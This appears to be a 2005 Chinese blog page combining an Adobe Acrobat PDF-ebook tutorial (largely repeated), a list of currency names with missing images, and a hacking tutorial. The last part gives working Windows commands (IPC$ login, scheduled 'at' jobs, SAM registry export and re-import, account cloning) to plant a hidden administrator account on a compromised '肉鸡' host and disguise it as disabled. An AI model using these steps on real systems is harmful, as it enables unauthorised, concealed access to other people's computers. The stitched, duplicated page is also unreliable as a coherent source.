  总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。  在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。
  制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。
  最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟!
  软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。
  二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧:
  1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。
  首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。
  待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。
  一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。
  3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。
  接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。
  AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。
  不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。
  使用Distiller创建PDF文档有3种方式进行:
  ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。
  ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。
  ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。
  由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。
  三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧:
  1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。
  在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。
  2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。
  首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。
  3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。
  4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。
  在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。
  5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢!
  下面就以制作带有OnMouse效果的跳转页面按钮为例介绍:
  单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框:
  Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。
  ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。
  发下是六个标签页,点击后可以进行不同的设置。
  Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。
  Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。
  Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。
  Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。
  完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。
  6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。
  (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。
  (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13)
  (3)单击页面的左上角。默认时,出现“批准”印章。
  你可从Acrobat印章库中选择另一个不同的印章。
  (4)选择“编辑”→“属性”。
  (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。
  (6)选择手形工具,在文档窗口内单击以取消选取的印章。
  除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。
  (7)选择“文件”→“保存”以保存该文件。
  7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下:
  单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14):
  如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。
  建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。
  在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。
  我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。
  设置完所有设置以后,点击OK关掉对话框即可。
  总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。  在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。
  制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。
  最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟!
  软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。
  二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧:
  1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。
  首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。
  待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。
  一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。
  3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。
  接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。
  AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。
  不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。
  使用Distiller创建PDF文档有3种方式进行:
  ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。
  ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。
  ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。
  由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。
  三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧:
  1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。
  在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。
  2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。
  首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。
  3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。
  4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。
  在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。
  5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢!
  下面就以制作带有OnMouse效果的跳转页面按钮为例介绍:
  单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框:
  Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。
  ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。
  发下是六个标签页,点击后可以进行不同的设置。
  Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。
  Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。
  Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。
  Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。
  完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。
  6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。
  (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。
  (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13)
  (3)单击页面的左上角。默认时,出现“批准”印章。
  你可从Acrobat印章库中选择另一个不同的印章。
  (4)选择“编辑”→“属性”。
  (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。
  (6)选择手形工具,在文档窗口内单击以取消选取的印章。
  除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。
  (7)选择“文件”→“保存”以保存该文件。
  7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下:
  单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14):
  如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。
  建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。
  在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。
  我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。
  设置完所有设置以后,点击OK关掉对话框即可。
  总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。

posted @ 2005-07-09 13:24 一天一点爱恋 阅读(1352) | 评论 (0)编辑 收藏
 

一、人民币


二、英镑


三、哈萨克斯坦里格


四、泰国铢


五、欧元


六、缅甸元


七、南非兰特


八、马尔代夫拉菲亚


九、斯里兰卡卢比


十、塔吉克斯坦索莫尼


十一、挪威克郎


十二、越南盾


十三、圭亚那元


十四、哥伦比亚比索


十五、美元(背面)


十六、加拿大元


十七、印度尼西亚卢比(盾)


十八、巴布亚新几内亚基


十九、俄罗斯卢布


二十、印度卢比


二十一、中国台湾元


二十二、中国澳门元


二十四、中国香港元


二十五、德国马克


二十六、美元(正面)


二十七、意大利里拉


二十八、爱尔兰镑


二十九、澳大利亚元


三十、法国法郎


三十一、沙特阿拉伯里亚尔


三十二、西班牙比塞塔


三十三、圣马力诺意大利里拉



三十四、圣多美和普林西比多布拉


三十五、葡萄牙埃斯库多


三十六、罗马尼亚列伊


三十七、瑞士法郎


三十八、蒙古图格里克


三十九、荷兰盾


四十、日本元


四十一、韩国元


四十二、苏里南盾



四十三、土耳其里拉(大家数数有几个零)!!


四十四、新加坡元



四十五.阿尔巴比亚 列克


四十六.阿尔及利亚 第纳尔


四十七.阿富汗 尼


四十八.阿根廷 比索


四十九.阿拉伯联合酋长国 迪拉姆


五十.阿曼 里亚尔

 

posted @ 2005-07-08 14:08 一天一点爱恋 阅读(119) | 评论 (0)编辑 收藏
 
在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开

有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服

务就行。

对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell

,并且有运行at命令的权限就可以。

1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉

鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为

13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)

2、先与肉鸡建立连接,命令为: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator

3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51

c:\winnt\system32\net.exe user hacker$ 1234 /add

建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。

4、同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值:at \\13.50.97.238 12:55

c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\

/e 是regedit.exe的参数,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引

号将"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起来。

5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \\13.50.97.238\admin$\system32\hacker.reg

c:\hacker.reg

修改的方法图形界中已经介绍过了,这里就不作介绍了。

6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg

7、查看肉鸡时间:net time \\13.50.97.238 然后用at命令将用户hacker$删除:

at \\13.50.97.238 13:40 net user hacker$ /del

8、验证hacker$是否删除:用

net use \\13.50.97.238 /del 断开与肉鸡的连接。

net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接,不能连接说明已删除。

9、再与肉鸡建立连接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"

再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:

at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg

regedit.exe的参数/s是指安静模式。

10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。

11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。

12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远

程读、写、删的权限。

三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?

这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,

你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的

功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受



但是这里有两个前提:1、先用net use \\肉鸡ip\ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后,才能用regedit.exe

regedt32.exe及帐户管理器与远程主机连接。

2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。

四、利用被禁用的帐户建立隐藏的超级用户:

我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:

1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户

。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只

能在命令行下用命令:"net user 用户名"一个一个来查看用户是否被禁用。

2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用

户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE \\肉鸡ip administrator 超级用户密码 hacher hacher密码。

3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令



net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的

用户。

